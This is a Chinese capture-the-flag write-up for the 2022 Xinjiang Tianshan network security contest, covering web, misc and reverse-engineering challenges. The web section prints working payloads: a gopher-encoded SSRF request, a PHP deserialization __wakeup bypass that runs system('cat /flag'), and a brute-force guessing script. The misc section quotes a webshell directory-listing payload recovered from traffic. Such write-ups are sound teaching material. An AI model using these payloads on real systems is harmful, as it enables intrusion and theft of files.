2022年新疆天山固网杯网络安全技能竞赛wp

最新推荐文章于 2025-09-28 12:13:45 发布

原创

最新推荐文章于 2025-09-28 12:13:45 发布 · 4.8k 阅读

22 ·

CC 4.0 BY-SA版权

文章标签：

#web安全 #php #安全

2022年新疆天山固网杯网络安全技能竞赛

有些卷的比赛,没想到最后一秒能被反超…

签到

1-1

直接url解密
1-2
图片解密
winhex直接出

web

web1：盲注猜文件

import string
import requests
url="http://127.0.0.1/?g="
strings=string.digits+string.ascii_letters+"{}"
print(strings)
#长度限制为四位
already_know="DASCTF{"
start="TF{"
while True:
    for i in strings:
        payload=start+i
        r=requests.get(url+payload)
        if "not" not in r.text:
            already_know+=i
            print(already_know)
            start=start[1:]+i

web2：ssrf

POST /?a=ls HTTP/1.1
Host: 172.73.23.100
Connection: close
Referer: dasctf.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

dasctf=flag

直接打就ok

http://43.138.39.179:20000/?url=gopher://172.73.23.100:80/_%2550%254f%2553%2554%2520%252f%253f%2561%253d%256c%2573%2520%2548%2554%2554%2550%252f%2531%252e%2531%250d%250a%2548%256f%2573%2574%253a%2520%2531%2537%2532%252e%2537%2533%252e%2532%2533%252e%2531%2530%2530%250d%250a%2543%256f%256e%256e%2565%2563%2574%2569%256f%256e%253a%2520%2563%256c%256f%2573%2565%250d%250a%2552%2565%2566%2565%2572%2565%2572%253a%2520%2564%2561%2573%2563%2574%2566%252e%2563%256f%256d%250d%250a%2543%256f%256e%2574%2565%256e%2574%252d%2554%2579%2570%2565%253a%2520%2561%2570%2570%256c%2569%2563%2561%2574%2569%256f%256e%252f%2578%252d%2577%2577%2577%252d%2566%256f%2572%256d%252d%2575%2572%256c%2565%256e%2563%256f%2564%2565%2564%250d%250a%2543%256f%256e%2574%2565%256e%2574%252d%254c%2565%256e%2567%2574%2568%253a%2520%2531%2531%250d%250a%250d%250a%2564%2561%2573%2563%2574%2566%253d%2566%256c%2561%2567

web3：

/hint.php?id=9223372036854661293&file=php://filter/read=convert.base64-encode/resource=index

读index源码

<?php
error_reporting(0);
class Evil{
   
   
    public $flag = 1;
    public function __wakeup()
    {
   
   
        $this->flag = 0;
    }
    public function __destruct()
    {
   
   
        if($this->flag == 1)
        {
   
   
            echo("How you did it?");
            $xux = file_get_contents($_GET['xux']);
            create_function("",$xux);
        }
        else{
   
   
            die("nonono");
        }
    }

}
$o = $_GET['o'];
if(isset($o))
{
   
   
    unserialize($o);
}

不能用cve绕
参照这个绕过__wakeup
https://bugs.php.net/bug.php?id=81151

/index.php?o=C%3A4%3A%22Evil%22%3A2%3A%7Bs%3A4%3A%22flag%22%3Bi%3A1%3B%7D&xux=data://text/plain,;}system("cat+/flag");/*

获得flag

misc

misc1
1.把png高度改一下就看到压缩包密码
2.解压出来那个改成.ppt

misc2

打开流量，发现chr流量特征，解密

@ini_set("display_errors","0");@set_time_limit(0);functionasenc($out){return@base64_encode($out);};functionasoutput(){$output=ob_get_contents();ob_end_clean();echo"5b3"."ed02";echo@asenc($output);echo"f46cf"."2253ac";}ob_start();try{$D=base64_decode(substr($_POST["vb00375a68a239"],2));$F=@opendir($D);if($F==NULL){echo("ERROR://PathNotFoundOrNoPermission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.$N;$T=@date("Y-m-dH:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="	".$T."	".@filesize($P)."	".$E."
";if(@is_dir($P))$M.=$N."/".$R;else$L.=$N.$R;}echo$M.$L;@closedir($F);};}catch(Exception$e){echo"ERROR://".$e->getMessage();};asoutput();die();

发现会对结果进行输出

echo"5b3"."ed02";echo@asenc($output);echo"f46cf"."2253ac";

去掉头尾进行部分解密，发现所有的都输出的目录

直接解密最后几个，发现有读到a.txt。

这里翻看了很久a.txt都没发现，发现在chr的末尾会读一串字符串，输出方式是把内容base64加密后，添加两位，上面解密的代码也有

$D=base64_decode(substr($_POST["vb00375a68a239"],2));

其中内容是把部分字符串写入到a.txt中。

这里全部手工提取出来，发现每隔两个一个重复。写个脚本，直接解密，看到是base32编码，再解密是base64，再解密得到flag。这里直接写了个脚本


import base64

data = []
with open('./1.txt','r') as f:
    for i in f.readlines():
        data.append(base64.b64decode(str(i[2:])))

flag = ''
for i in range(0,len(data),2):
    flag += str(data[i]).split(' ')[3]

print(base64.b64decode(base64.b32decode(flag)))

# KJCUMVCRGFJEOZL2JJWE2V2RGNMW2SLXJZLVCM2ONJWGUTLNJZVU2VCBPBHFIZDIJZVFSMCOIRSGQTKHKJVWMUJ5HU======

逆向

RE1
简单的汇编代码

a=[97,56,47,56,53,99,53,100,97,100,99,97,98,99,53,101,56,50,55,50,48,53,55,98,96,55,56,55,55,48,52,98]
for i in a:
        print(chr(i+1),end='')

RE2

PEinM

不断调试跟踪到main函数

__int64 sub_40175D()
{
   
   
  int v0; // eax
  __int64 v2[11]; // [rsp+20h] [rbp-70h] BYREF
  int v3; // [rsp+78h] [rbp-18h]
  int v4; // [rsp+7Ch] [rbp-14h]
  __int64 v5; // [rsp+80h] [rbp-10h]
  int j; // [rsp+88h] [rbp-8h]
  int i; // [rsp+8Ch] [rbp-4h]

  ((void (*)(void))unk_401970)();
  v5 = ((__int64 (__fastcall *